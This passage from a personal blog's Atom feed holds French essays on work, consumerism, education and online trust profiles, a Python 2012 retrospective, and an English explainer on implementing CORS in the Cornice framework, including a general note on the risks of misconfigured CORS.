de la « ressource humaine », cest que lemploi stable, à plein temps, durant
toute lannée et toute la vie active, devient le privilège dune minorité.
Pour [les autres], le travail cesse dêtre un métier qui intègre dans une
communauté productive et définit une place dans la société. Ce que le patronat
appelle « flexibilité » se traduit pour les salariés par la précarité. (...)&lt;/p&gt;
&lt;p&gt;Que doit être une société dans laquelle le travail à plein temps de tous les
citoyens nest plus nécessaire, ni économiquement utile ? Quelles priorités
autres quéconomiques doit-elle se donner ? Comment doit-elle sy prendre pour
que les gains de productivité, les économies de temps de travail profitent à
tout le monde ? Comment peut-elle redistribuer au mieux tout le travail
socialement utile de manière à ce que tout le monde puisse travailler, mais
travailler moins et mieux, tout en recevant sa part des richesses socialement
produites ?&lt;/p&gt;
&lt;p&gt;La tendance dominante est décarter ce genre de questions et de poser le
problème à lenvers : comment faire pour que, malgré les gains de productivité,
léconomie consomme autant de travail que par le passé ? Comment faire pour que
de nouvelles activités rémunérées viennent occuper ce temps que, à léchelle de
la société, les gains de productivité libèrent ? A quels nouveaux domaines
dactivité peut-on étendre les échanges marchands pour remplacer tant bien que
mal les emplois supprimés par ailleurs dans lindustrie et les services
industrialisés ?&lt;/p&gt;
&lt;p&gt;On connaît la réponse, pour laquelle les Etats-Unis et le Japon ont montré la
voie : le seul domaine dans lequel il est possible, en économie libérale, de
créer à lavenir un grand nombre demplois, cest celui des services aux
personnes. Le développement de lemploi pourrait être illimité si lon
parvenait à transformer en prestations de services rétribuées les activités que
les gens ont, jusquà présent, assumées chacun pour soi. Les économistes
parlent à ce sujet de « nouvelle croissance plus riche en emplois », de «
tertiarisation » de léconomie, de « société de services » prenant le relais de
la « société industrielle » (1). (...)&lt;/p&gt;
&lt;p&gt;Le problème de fond auquel nous sommes confrontés est celui dun au-delà de
léconomie et, ce qui revient au même, dun au- delà du travail rémunéré. La
rationalisation économique libère du temps, elle continuera den libérer, et il
nest plus possible, par conséquent, de faire dépendre le revenu des citoyens
de la quantité de travail dont léconomie a besoin. Il nest plus possible, non
plus, de continuer à faire du travail rémunéré la source principale de
lidentité et du sens de la vie pour chacun.&lt;/p&gt;
&lt;p&gt;La tâche dune gauche, si gauche il doit y avoir, consiste à transformer cette
libération du temps en une liberté nouvelle et en des droits nouveaux : le
droit de chacun et de chacune de gagner sa vie en travaillant, mais en
travaillant de moins en moins, de mieux en mieux, tout en recevant sa pleine
part de la richesse socialement produite. Le droit, dautre part, de travailler
de façon discontinue, intermittente, sans perdre durant les intermittences de
lemploi le plein revenu de manière à ouvrir de nouveaux espaces aux
activités sans but économique et à reconnaître à ces activités qui nont pas la
rémunération pour but une dignité et une valeur éminentes, tant pour les
individus que pour la société elle-même.&lt;/p&gt;
&lt;/div&gt;
</content></entry><entry><title>Des carnets d'esquisse</title><link href="https://blog.notmyidea.org/des-carnets-desquisse-fr.html" rel="alternate"></link><published>2013-08-16T00:00:00+02:00</published><updated>2013-08-16T00:00:00+02:00</updated><author><name>Alexis Métaireau</name></author><id>tag:blog.notmyidea.org,2013-08-16:/des-carnets-desquisse-fr.html</id><summary type="html">&lt;p&gt;Je me rends compte que je n'écris pas si souvent que ça ici, principalement
parce que je me sens obligé d'y écrire en Anglais, mais aussi parce que je le
considère comme un espace ou les choses doivent êtres abouties et non pas
expérimentales.&lt;/p&gt;
&lt;p&gt;Des fois j'ai cette envie d'ouvrir …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Je me rends compte que je n'écris pas si souvent que ça ici, principalement
parce que je me sens obligé d'y écrire en Anglais, mais aussi parce que je le
considère comme un espace ou les choses doivent êtres abouties et non pas
expérimentales.&lt;/p&gt;
&lt;p&gt;Des fois j'ai cette envie d'ouvrir un &amp;quot;carnet&amp;quot; et d'y jeter juste quelques
notes. Pas grand chose: mes quelques pensées ou alors des liens que je veux me
garder de coté, des pensées que je souhaite partager… Un endroit ou je peux
venir écrire quelque chose et le compléter plus tard.&lt;/p&gt;
&lt;p&gt;Du coup, le flux Atom contiens désormais quelques notes sur des sujets variés.
Ces notes ne sont pas relayées sur la page d'accueil, mais vous pouvez les
trouver dans &lt;a class="reference external" href="https://blog.notmyidea.org/category/notes.html"&gt;la section notes&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Je ne sais pas encore si il s'agit du meilleur endroit pour ça, mais peu importe,
essayons. A bas la pudeur rédactionelle.&lt;/p&gt;
&lt;p&gt;J'ai du au passage chambouler un peu vos agrégateurs, pardonnez moi :)&lt;/p&gt;
&lt;div class="section" id="le-retour-des-commentaires"&gt;
&lt;h2&gt;Le retour des commentaires&lt;/h2&gt;
&lt;p&gt;Au passage, je ne me rappelle plus quand exactement, mais j'avais décidé de
supprimer les commentaires de cet espace. Paf, apu. Comme ça, sans prévenir.&lt;/p&gt;
&lt;p&gt;Les raisons en étaient à la fois techniques (je ne souhaitait pas avoir recours
à disqus qui est un silo propriétaire de plus) et parce que je considérais que
les commentaires n'avaient que peu d'intérêt. Ceci dit, le manque d'échange me
manque; j'aimerais bien savoir ce que vous pensez de ce que j'écris des fois,
et avoir des débats si nos opinions divergent.&lt;/p&gt;
&lt;p&gt;Et puis bon, partager dans un seul sens, c'est un peu dommage !&lt;/p&gt;
&lt;p&gt;Il est maintenant possible, avec &lt;a class="reference external" href="http://talka.tv"&gt;talka.tv&lt;/a&gt; d'héberger soi
même ses commentaires. J'ai dans l'idée d'héberger une instance de ce service
sur &lt;cite&gt;discus.notmyidea.org&lt;/cite&gt;, ou d'utiliser Daybed pour faire la même chose,
mais faut il encore que je le fasse, alors en attendant, j'ai réactivé disqus
ici! (Le mieux est l'ennemi du bien, paraît il !)&lt;/p&gt;
&lt;/div&gt;
</content></entry><entry><title>Notes: Économie libidinale et économie politique</title><link href="https://blog.notmyidea.org/notes-economie-libidinale-et-economie-politique.html" rel="alternate"></link><published>2013-07-06T00:00:00+02:00</published><updated>2013-07-06T00:00:00+02:00</updated><author><name>Alexis Métaireau</name></author><id>tag:blog.notmyidea.org,2013-07-06:/notes-economie-libidinale-et-economie-politique.html</id><summary type="html">&lt;p&gt;Une enquete d'un cabinet de marketing american ARI qui pour la première fois en
2004 disait qu'on voyait aparaitre des &amp;quot;alter consommateurs&amp;quot;, qui n'étaient pas
de gens qui consommaient moins, mais qui étaient des gens malheureux de
consommer. Et qui définissaient la consommation comme une dépendance et une
addiction.&lt;/p&gt;
&lt;p&gt;Un …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Une enquete d'un cabinet de marketing american ARI qui pour la première fois en
2004 disait qu'on voyait aparaitre des &amp;quot;alter consommateurs&amp;quot;, qui n'étaient pas
de gens qui consommaient moins, mais qui étaient des gens malheureux de
consommer. Et qui définissaient la consommation comme une dépendance et une
addiction.&lt;/p&gt;
&lt;p&gt;Un autre comportement s'est développé: le modèle &amp;quot;collaboratif et contributif&amp;quot;.
Ce modèle ne se repose pas sur la consommation mais sur l'implication et la
collaboration. Ce modèle est induit par internet, qui ne repose plus sur
l'opposition production / consommation.&lt;/p&gt;
&lt;p&gt;Sur internet nous ne sommes pas des simples consommateurs, puisque vous êtes un
expéditeur / distributeur.&lt;/p&gt;
&lt;p&gt;Le changement prduit par internet est le fait que les gens ne sont plus
simplement des consommateurs,mais sont également producteurs de contenus
/ viennent améliorer les contenus existants.&lt;/p&gt;
&lt;p&gt;Note perso: quid du culte de la personalité qui en ressort ? Ce qu'il apelle
l'écologie relationelle ?&lt;/p&gt;
&lt;p&gt;Quel est le manque que vient combler facebook par exemple ? Et quel est
l'impact que ces nouveaux réseaux ont sur les modèles relationels que l'ont
connait (famille, école, droit, etc.).&lt;/p&gt;
&lt;div class="section" id="citations"&gt;
&lt;h2&gt;Citations&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Une révolution c'est le fait de faire une boucle est d'arriver au terme de
quelque chose. D'avoir clôt un cycle. La lune fait des révolutions aussi.&lt;/p&gt;
&lt;p&gt;81% des Américains déclarent que le consumerisme est une plaie pour l'amérique
(d'après Juliet Score)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/div&gt;
</content></entry><entry><title>New year python meme, 2012</title><link href="https://blog.notmyidea.org/new-year-python-meme-2012.html" rel="alternate"></link><published>2013-07-01T00:00:00+02:00</published><updated>2013-07-01T00:00:00+02:00</updated><author><name>Alexis Métaireau</name></author><id>tag:blog.notmyidea.org,2013-07-01:/new-year-python-meme-2012.html</id><summary type="html">&lt;p&gt;This series, also known as &amp;quot;&lt;a class="reference external" href="http://ziade.org"&gt;Tarek Ziadé&lt;/a&gt; strikes again&amp;quot;,
is a good occasion to take a look back at 2012 and see what I've done related
to python. So, let's try.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1. Whats the coolest Python application, framework or library you have
discovered in 2012 ?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;I discovered &lt;a class="reference external" href="http://docs.pylonsproject.org/en/latest/docs/pyramid.html"&gt;Pyramid&lt;/a&gt; this …&lt;/p&gt;</summary><content type="html">&lt;p&gt;This series, also known as &amp;quot;&lt;a class="reference external" href="http://ziade.org"&gt;Tarek Ziadé&lt;/a&gt; strikes again&amp;quot;,
is a good occasion to take a look back at 2012 and see what I've done related
to python. So, let's try.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1. Whats the coolest Python application, framework or library you have
discovered in 2012 ?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;I discovered &lt;a class="reference external" href="http://docs.pylonsproject.org/en/latest/docs/pyramid.html"&gt;Pyramid&lt;/a&gt; this year and
quite enjoyed it. I like the way they bring back some nice concepts on the
table, and how they compete with other frameworks. That's nicely decomposed and
everything fits together really well. I learned a bit about its internal
routing mechanism when working on &lt;a class="reference external" href="http://cornice.rtfd.org"&gt;Cornice&lt;/a&gt;, and
it's really well done.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. What new programming technique did you learn in 2012 ?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;I learned about asynchronous programming, something I wasn't really aware of.
(Yes, that's a shame). This was really helpful to understand some bits of
&lt;a class="reference external" href="http://circus.io"&gt;Circus&lt;/a&gt;. I also started to learn about some related
concepts present in &lt;a class="reference external" href="http://golang.org"&gt;go&lt;/a&gt; or in &lt;a class="reference external" href="http://erlang.org"&gt;erlang&lt;/a&gt; with &lt;a class="reference external" href="http://en.wikipedia.org/wiki/Actor_model"&gt;the actor model&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3. Which open source project did you contribute to the most in 2012 ? What did
you do ?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;I worked a bunch on &lt;a class="reference external" href="http://cornice.rtfd.org"&gt;Cornice&lt;/a&gt; and &lt;a class="reference external" href="http://circus.io"&gt;Circus&lt;/a&gt;, not as much as I would like, but that was two really
interesting projects. For Cornice, I completely &lt;a class="reference external" href="http://blog.notmyidea.org/refactoring-cornice.html"&gt;refactored the internals&lt;/a&gt; back in May, and since
that, I added support for &lt;a class="reference external" href="https://github.com/SPORE/specifications"&gt;SPORE&lt;/a&gt;
and am currently working on porting it to Python 3 and adding support for &lt;a class="reference external" href="http://www.w3.org/TR/cors/"&gt;CORS&lt;/a&gt;. For Circus, I worked on the web interface and
on other bits of the projects related to stats.&lt;/p&gt;
&lt;p&gt;I didn't contributed that much to &lt;a class="reference external" href="http://getpelican.com"&gt;Pelican&lt;/a&gt;, mainly
because I'm less excited about it than I was previously: the project is
working and needs to focus more on code quality than features. We started in
this direction, hopefully it will pay-off; but I committed a lot less code than
previously.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;4. Which Python blog or website did you read the most in 2012 ?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;I really don't know. I found some interesting python-related news on &lt;a class="reference external" href="http://news.ycombinator.com/"&gt;hacker
news&lt;/a&gt; and on the printed version as well,
&lt;a class="reference external" href="http://hackermonthly.com/"&gt;hacker monthly&lt;/a&gt;. Twitter and IRC got me some
interesting articles as well.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;5. What are the three top things you want to learn in 2013 ?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;On the computer science side, I want to learn more about other paradigms, maybe
in other languages. I like python, but I want to learn about other concepts,
maybe some of them don't really fit with python.&lt;/p&gt;
&lt;p&gt;For instance, I don't know that much about pattern matching or about the actor
model. Well I know what it is, but I would like to make good use of them in
order to have something nice and useful.&lt;/p&gt;
&lt;p&gt;Also, I want to learn how to make a product. From scratch. Which means
designing, implementing and maintaining something. Maybe this will be the case
with &lt;a class="reference external" href="https://github.com/spiral-project/daybed"&gt;daybed&lt;/a&gt; ? Who knows.&lt;/p&gt;
&lt;p&gt;I want to get better at building communities. Working with others is something
that can be complex and quite hard sometimes. I want to learn how to handle
this better.&lt;/p&gt;
&lt;p&gt;On the other side, I want to learn about tons of other non-tech things: taking
pictures, finding a good balance between life and work, working with children,
teaching and animating workshops, writing articles, be better at reading (being
critic when I'm thinking!).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;6. What is the top software, application or library you wish someone would
write in 2013 ?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The one missing thing, IMO, is a &lt;strong&gt;good&lt;/strong&gt; webmail reader, in python. One we
could contribute to, one we could write features for, and one that could come
and compete with gmail, in term of features of UI.&lt;/p&gt;
&lt;p&gt;However, most of the time, I'm just impressed by the new ideas that come from
others. I would like to have a library to handle the actor model in a nice way
in Python, I would like to see packaging fixed in python :-)&lt;/p&gt;
&lt;p&gt;Want to do your own list? Here's how:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;copy-paste the questions and answer to them in your blog&lt;/li&gt;
&lt;li&gt;tweet it with the #2012pythonmeme hashtag&lt;/li&gt;
&lt;/ul&gt;
</content></entry><entry><title>François Elie : Quelle école pour la société de linformation ?</title><link href="https://blog.notmyidea.org/francois-elie-quelle-ecole-pour-la-societe-de-linformation.html" rel="alternate"></link><published>2013-06-14T00:00:00+02:00</published><updated>2013-06-14T00:00:00+02:00</updated><author><name>Alexis Métaireau</name></author><id>tag:blog.notmyidea.org,2013-06-14:/francois-elie-quelle-ecole-pour-la-societe-de-linformation.html</id><summary type="html">&lt;p&gt;&lt;a class="reference external" href="http://www.framablog.org/index.php/post/2013/06/11/francois-elie-education-conference"&gt;http://www.framablog.org/index.php/post/2013/06/11/francois-elie-education-conference&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Quelques bouts selectionnés.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Mais pourquoi continue t-on à enseigner des maths à des gens qui ne vont pas
les utiliser ? Ben évidemment cest parce quon nest pas dans une école de
linitiation où les mathématiciens …&lt;/p&gt;&lt;/blockquote&gt;</summary><content type="html">&lt;p&gt;&lt;a class="reference external" href="http://www.framablog.org/index.php/post/2013/06/11/francois-elie-education-conference"&gt;http://www.framablog.org/index.php/post/2013/06/11/francois-elie-education-conference&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Quelques bouts selectionnés.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Mais pourquoi continue t-on à enseigner des maths à des gens qui ne vont pas
les utiliser ? Ben évidemment cest parce quon nest pas dans une école de
linitiation où les mathématiciens font ça entre eux et on nest pas non plus
dans une école de lapprentissage où lécole a pour but de donner un métier, un
bagage utilisable. Lécole ne sert évidemment pas à ça. Dailleurs heureusement
parce que sinon on nenseignerait pas la philosophie qui ne sert à rien à part
fabriquer des profs de philosophie !&lt;/p&gt;
&lt;p&gt;On na pas besoin de tableau numérique pour enseigner linformatique elle-même
pour enseigner la science. De la même façon on na pas besoin de machine à
calculer pour enseigner les mathématiques. Évidemment ! On na pas besoin dune
machine à calculer pour savoir faire une division. Au contraire, surtout pas !&lt;/p&gt;
&lt;p&gt;Il faut cesser dopposer lenseignement de la programmation dune part et
lenseignement des usages, cest important mais ça cest lécole des maîtres et
des esclaves. Ce quil faut enseigner, vite et à tous, cest la science, pas la
technologie ou lusage. Cest en amont de la programmation, lalgorithmique.
Cest, en amont de telle instanciation, du codage, du chiffrement, la théorie,
quelque chose qui comme les maths nont besoin que dune craie et dun tableau
noir.&lt;/p&gt;
&lt;p&gt;Ce n'est pas un hasard si le mot &amp;quot;numérique&amp;quot; à remplaçé le mot &amp;quot;informatique&amp;quot;,
c'est qu'on voudrait nous faire croire qu'il n'y a pas besoin de l'apprendre.&lt;/p&gt;
&lt;/blockquote&gt;
</content></entry><entry><title>Des profils de confiance partout et pour tout ?</title><link href="https://blog.notmyidea.org/confiance-fr.html" rel="alternate"></link><published>2013-04-02T00:00:00+02:00</published><updated>2013-04-02T00:00:00+02:00</updated><author><name>Alexis Métaireau</name></author><id>tag:blog.notmyidea.org,2013-04-02:/confiance-fr.html</id><summary type="html">&lt;p&gt;Depuis un petit moment déjà, le site covoiturage.fr est passé &amp;quot;payant&amp;quot;. Il est
désormais possible (et même obligatoire) de payer les trajets à l'avance, et en
ligne, laissant au passage quelques royalties au site en question.&lt;/p&gt;
&lt;p&gt;Précédemment, il était possible de retrouver le numéro des conducteurs
sur le site …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Depuis un petit moment déjà, le site covoiturage.fr est passé &amp;quot;payant&amp;quot;. Il est
désormais possible (et même obligatoire) de payer les trajets à l'avance, et en
ligne, laissant au passage quelques royalties au site en question.&lt;/p&gt;
&lt;p&gt;Précédemment, il était possible de retrouver le numéro des conducteurs
sur le site et de les appeler soi même, chose maintenant automatisée.&lt;/p&gt;
&lt;p&gt;Dès que cette décision à été prise, il y a eu des émules. Le site &lt;a class="reference external" href="http://covoiturage-libre.fr"&gt;Covoiturage
Libre&lt;/a&gt; à été d'ailleurs créé pour faire en sorte
de garder &amp;quot;l'esprit&amp;quot; du covoiturage. Bref ça jasait dans les chaumières.&lt;/p&gt;
&lt;p&gt;Il y à peu, j'ai reçu un &lt;em&gt;couriel&lt;/em&gt; contenant un lien vers une vidéo d'&lt;a class="reference external" href="http://www.covoiturage.fr/blog/2013-confiance"&gt;une
conférence animée par le fondateur de covoiturage.fr&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Ils semblent vouloir parler de confiance, alors ça m'intrigue, d'autant que la
présentation en question est donnée lors d'un évènement TEDx, auquel j'accorde
un certain crédit.&lt;/p&gt;
&lt;div class="section" id="un-capital-de-confiance"&gt;
&lt;h2&gt;Un &amp;quot;capital de confiance&amp;quot;&lt;/h2&gt;
&lt;p&gt;Cette vidéo parle entre autres du &lt;em&gt;capital de confiance&lt;/em&gt; que nous pouvons
nous accorder les uns aux autres; et notamment du fait que ce capital de
confiance n'est malheureusement pas partagé au dela d'un cercle de
connaissances assez limité. Il reste dans notre cercle de connaissances proche, les
amis des amis.&lt;/p&gt;
&lt;p&gt;C'est donc une chose regrettable, parce que ça nous fait perdre du temps (et
donc, &lt;em&gt;ohmygod&lt;/em&gt; de l'argent) à tous pour construire cette confiance. Temps qui
pourrait être mieux employé.&lt;/p&gt;
&lt;p&gt;La solution proposée, attention les yeux, est de faire appel un maximum aux
profils en ligne, une manière de &amp;quot;prouver au monde&amp;quot; que nous sommes des
personnes de confiance. Selon les termes de la présentation, nous pourrions
alors tous devenir des &amp;quot;super héros du trust&amp;quot;, des &amp;quot;trustman&amp;quot;.&lt;/p&gt;
&lt;p&gt;Grâce à des profils en ligne ou monsieur et madame tout le monde pourraient
aller voter et donner leur avis sur les personnes qu'ils ont rencontré.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="l-avenement-du-paiement-en-ligne"&gt;
&lt;h2&gt;L'avènement du paiement en ligne&lt;/h2&gt;
&lt;p&gt;On nous dit maintenant que le paiement en ligne est une révolution, un moyen de
tracer le fait qu'il y à effectivement eu une transaction entre deux personnes;
et que donc il en deviendrait un outil pour vérifier que la confiance est bien
légitime, et non pas créée de toute pièce sur le profil de la personne en
question.&lt;/p&gt;
&lt;p&gt;Plu&lt;/p&gt;
&lt;p&gt;Plus exactement, ce qui est dit est que le paiement en ligne permet de
justifier qu'il y a bien eu transaction entre deux personnes, et que donc les
commentaires et &amp;quot;notations&amp;quot; effectuées sont donc légitimes.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="ce-n-est-pas-un-probleme-de-confiance"&gt;
&lt;h2&gt;Ce n'est pas un problème de confiance !&lt;/h2&gt;
&lt;p&gt;Bien que j'arrive à suivre le raisonnement, il soulève certaines questions :&lt;/p&gt;
&lt;p&gt;Si j'accorde de la confiance à quelqu'un dans mon cercle de connaissances,
c'est justement parce qu'il fait partie de ce cercle de connaissances. Pas
parce qu'une personne que je ne connait pas me dit qu'il s'agit d'une personne
de confiance. En d'autres termes, &lt;strong&gt;pourquoi ne garderions nous pas ces
relations privilégiées de personne à personne ?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Dans le cadre du covoiturage, j'arrive à comprendre le raisonnement du paiement
&lt;em&gt;à l'avance&lt;/em&gt;, pour avoir souvent entendu parler de désistements à la dernière
minute de la part des voyageurs. Le paiement à l'avance permet d'éviter ce
genre de désagréments.&lt;/p&gt;
&lt;p&gt;Mais cela n'as rien à voir avec la confiance, il s'agit d'engagement de la part
des deux parties.&lt;/p&gt;
&lt;p&gt;Et c'est bien ce qui semble poser problème: lorsqu'on s'attend à partager le
prix d'un trajet avec quelqu'un, c'est bien d'avoir quelque chose qui nous
y engage. J'aime beaucoup l'idée de payer une fois dans la voiture, de garder
cette transaction manuelle; et de laisser peu de place au paiements en ligne
dans cette histoire, mais je n'ai pas d'autre solution miracle.&lt;/p&gt;
&lt;p&gt;En tout cas, la question n'est pas la question de savoir avec qui on embarque,
mais bel et bien la question de l'engagement des deux parties.&lt;/p&gt;
&lt;p&gt;Nous sommes malheureusement dans une société qui est dirigée par la peur. On
à peur de se faire agresser par le gars qui tends le pouce sur le bord de la
route, peur de se faire envoyer un produit qui ne fonctionne pas via Amazon,
etc.&lt;/p&gt;
&lt;p&gt;En poussant l'idée dans ses retranchements, j'aurais bientôt peur de mes
voisins alors je ne leur parlerais plus, parce qu'ils n'ont pas leur profil
disponible en ligne ou parce que quelqu'un à eu une mauvaise expérience avec
eux ?&lt;/p&gt;
&lt;p&gt;Exposer des choses qui relèvent de ma vie privée en ligne de la sorte me
pose des problèmes éthiques: d'abord parce que je ne veux pas juger les gens
a priori, ensuite parce que l'expérience d'une personne n'est peut-être pas
représentative, tout simplement.&lt;/p&gt;
&lt;p&gt;Donc non, ce n'est pas un problème de confiance, il s'agit d'un problème
d'engagement, dans le cadre du covoiturage, et les profils en ligne n'ont rien
à faire la dedans. Le principe du paiement à l'avance me semble intéressant,
mais il n'est à mon avis pas lié au profils en ligne.&lt;/p&gt;
&lt;p&gt;La vidéo termine sur un &amp;quot;libérez la valeur de la confiance&amp;quot;. Oui, mais la
libérer pour qui ? Quels sont les problèmes liés à cette confiance rendue
nécessaire partout et pour tout ? Cela ne nous ferait-il pas évoluer uniquement
dans des cercles fermés ? Quelle place laisser à l'inconnu, à la surprise ?&lt;/p&gt;
&lt;p&gt;Cette volonté de &amp;quot;confiance partout&amp;quot; semble découler tout droit des délires
sécuritaires que l'on nous sert à toutes les sauces. Et maintenant cela
serait rendu accessible à tous grâce à &amp;quot;l'intelligence collective&amp;quot;; gommant au
passage les différences de valeur; Préférant éviter de rencontrer les inconnus
aux profils &amp;quot;légers&amp;quot;.&lt;/p&gt;
&lt;p&gt;Je sais pas vous, mais elle me fait peur cette idée.&lt;/p&gt;
&lt;/div&gt;
</content></entry><entry><title>Implementing CORS in Cornice</title><link href="https://blog.notmyidea.org/cross-origin-in-cornice.html" rel="alternate"></link><published>2013-04-02T00:00:00+02:00</published><updated>2013-04-02T00:00:00+02:00</updated><author><name>Alexis Métaireau</name></author><id>tag:blog.notmyidea.org,2013-04-02:/cross-origin-in-cornice.html</id><summary type="html">&lt;div class="admonition note"&gt;
&lt;p class="first admonition-title"&gt;Note&lt;/p&gt;
&lt;p class="last"&gt;I'm cross-posting &lt;a class="reference external" href="https://blog.mozilla.org/services/"&gt;on the mozilla services weblog&lt;/a&gt;. Since this is the
first time we're doing that, I though it could be useful to point you
there. Check it out and expect more technical articles there in the future.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;For security reasons, it's not possible to do cross-domain requests. In …&lt;/p&gt;</summary><content type="html">&lt;div class="admonition note"&gt;
&lt;p class="first admonition-title"&gt;Note&lt;/p&gt;
&lt;p class="last"&gt;I'm cross-posting &lt;a class="reference external" href="https://blog.mozilla.org/services/"&gt;on the mozilla services weblog&lt;/a&gt;. Since this is the
first time we're doing that, I though it could be useful to point you
there. Check it out and expect more technical articles there in the future.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;For security reasons, it's not possible to do cross-domain requests. In other
words, if you have a page served from the domain &lt;cite&gt;lolnet.org&lt;/cite&gt;, it will not be
possible for it to get data from &lt;cite&gt;notmyidea.org&lt;/cite&gt;.&lt;/p&gt;
&lt;p&gt;Well, it's possible, using tricks and techniques like &lt;a class="reference external" href="http://en.wikipedia.org/wiki/JSONP"&gt;JSONP&lt;/a&gt;, but that doesn't work all the time (see
&lt;a class="reference external" href="#how-this-is-different-from-jsonp"&gt;the section below&lt;/a&gt;). I remember myself
doing some simple proxies on my domain server to be able to query other's API.&lt;/p&gt;
&lt;p&gt;Thankfully, there is a nicer way to do this, namely, &amp;quot;Cross Origin
Resource-Sharing&amp;quot;, or &lt;a class="reference external" href="http://www.w3.org/TR/cors/"&gt;CORS&lt;/a&gt;.&lt;/p&gt;
&lt;div class="section" id="you-want-an-icecream-go-ask-your-dad-first"&gt;
&lt;h2&gt;You want an icecream? Go ask your dad first.&lt;/h2&gt;
&lt;p&gt;If you want to use CORS, you need the API you're querying to support it; on the
server side.&lt;/p&gt;
&lt;p&gt;The HTTP server need to answer to the &lt;cite&gt;OPTIONS&lt;/cite&gt; verb, and with the appropriate
response headers.&lt;/p&gt;
&lt;p&gt;&lt;cite&gt;OPTIONS&lt;/cite&gt; is sent as what the authors of the spec call a &amp;quot;preflight request&amp;quot;;
just before doing a request to the API, the &lt;em&gt;User-Agent&lt;/em&gt; (the browser most of
the time) asks the permission to the resource, with an &lt;cite&gt;OPTIONS&lt;/cite&gt; call.&lt;/p&gt;
&lt;p&gt;The server answers, and tell what is available and what isn't:&lt;/p&gt;
&lt;img alt="The CORS flow (from the HTML5 CORS tutorial)" src="images/cors_flow.png" /&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;1a. The User-Agent, rather than doing the call directly, asks the server, the
API, the permission to do the request. It does so with the following headers:&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Access-Control-Request-Headers&lt;/strong&gt;, contains the headers the User-Agent
want to access.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Access-Control-Request-Method&lt;/strong&gt; contains the method the User-Agent want
to access.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;1b. The API answers what is authorized:&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Access-Control-Allow-Origin&lt;/strong&gt; the origin that's accepted. Can be &lt;cite&gt;*&lt;/cite&gt; or
the domain name.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Access-Control-Allow-Methods&lt;/strong&gt; a &lt;em&gt;list&lt;/em&gt; of allowed methods. This can be
cached. Note than the request asks permission for one method and the
server should return a list of accepted methods.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Access-Allow-Headers&lt;/strong&gt; a list of allowed headers, for all of the
methods, since this can be cached as well.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;ol class="first arabic" start="2"&gt;
&lt;li&gt;The User-Agent can do the &amp;quot;normal&amp;quot; request.&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;So, if you want to access the &lt;cite&gt;/icecream&lt;/cite&gt; resource, and do a PUT there, you'll
have the following flow:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
&amp;gt; OPTIONS /icecream
&amp;gt; Access-Control-Request-Methods = PUT
&amp;gt; Origin: notmyidea.org
&amp;lt; Access-Control-Allow-Origin = notmyidea.org
&amp;lt; Access-Control-Allow-Methods = PUT,GET,DELETE
200 OK
&lt;/pre&gt;
&lt;p&gt;You can see that we have an &lt;cite&gt;Origin&lt;/cite&gt; Header in the request, as well as
a &lt;cite&gt;Access-Control-Request-Methods&lt;/cite&gt;. We're here asking if we have the right, as
&lt;cite&gt;notmyidea.org&lt;/cite&gt;, to do a &lt;cite&gt;PUT&lt;/cite&gt; request on &lt;cite&gt;/icecream&lt;/cite&gt;.&lt;/p&gt;
&lt;p&gt;And the server tells us that we can do that, as well as &lt;cite&gt;GET&lt;/cite&gt; and &lt;cite&gt;DELETE&lt;/cite&gt;.&lt;/p&gt;
&lt;p&gt;I'll not cover all the details of the CORS specification here, but bear in mind
than with CORS, you can control what are the authorized methods, headers,
origins, and if the client is allowed to send authentication information or
not.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="a-word-about-security"&gt;
&lt;h2&gt;A word about security&lt;/h2&gt;
&lt;p&gt;CORS is not an answer for every cross-domain call you want to do, because you
need to control the service you want to call. For instance, if you want to
build a feed reader and access the feeds on different domains, you can be
pretty much sure that the servers will not implement CORS, so you'll need to
write a proxy yourself, to provide this.&lt;/p&gt;
&lt;p&gt;Secondly, if misunderstood, CORS can be insecure, and cause
problems. Because the rules apply when a client wants to do a request to
a server, you need to be extra careful about who you're authorizing.&lt;/p&gt;
&lt;p&gt;An incorrectly secured CORS server can be accessed by a malicious client very easily,
bypassing network security. For instance, if you host a server on an intranet
that is only available from behind a VPN but accepts every cross-origin call. A bad guy
can inject javascript into the browser of a user who has access to your
protected server and make calls to your service, which is probably not what you want.&lt;/p&gt;
&lt;/div&gt;
